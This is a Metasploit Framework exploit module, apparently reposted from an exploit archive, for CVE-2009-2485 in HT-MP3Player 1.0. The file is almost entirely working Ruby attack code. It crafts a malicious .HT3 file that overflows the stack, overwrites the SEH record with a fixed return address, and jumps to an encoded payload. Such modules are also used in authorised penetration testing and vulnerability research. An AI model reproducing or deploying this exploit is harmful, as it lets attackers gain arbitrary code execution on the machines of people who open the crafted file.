HT-MP3Player 1.0 – ‘.HT3’ File Parsing Buffer Overflow (Metasploit)
## # $Id: ht_mp3player_ht3_bof.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HT-MP3Player 1.0. Arbitrary code execution could occur when parsing a specially crafted .HT3 file. NOTE: The player installation does not register the file type to be handled. Therefore, a user must take extra steps to load this file. }, 'License' => MSF_LICENSE, 'Author' => [ 'hack4love <hack4love[at]hotmail.com>', 'His0k4', 'jduck', ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-2485' ], [ 'OSVDB', '55449' ], [ 'URL', 'http://www.milw0rm.com/exploits/9034' ], [ 'URL', 'http://www.milw0rm.com/exploits/9038' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4108, 'DisableNops' => 'True', # input restriction: UTF-8! 'BadChars' => [0,0x0a,0x0d,*(0x80..0xcf)].pack("C*"), 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -8500, }, 'Platform' => 'win', 'Targets' => [ [ 'HT-MP3Player 1.0', { 'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 29 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ht3']), ], self.class) end def exploit # payload first bof = payload.encoded # filler bof << rand_text_alphanumeric(payload_space - bof.length) # NOTE: the nul smashes a nul, oh no! sehrec = generate_seh_record(target.ret) # jmp -4108 (depends on target addr ending with 0xff) sehrec[0,4] = "\xe9\xef\xef\xff" bof << sehrec # crash reading from offset 4096 (put bad addr here) bof[4096,4] = [0xf0f0f0f0].pack('V') print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(bof) end end |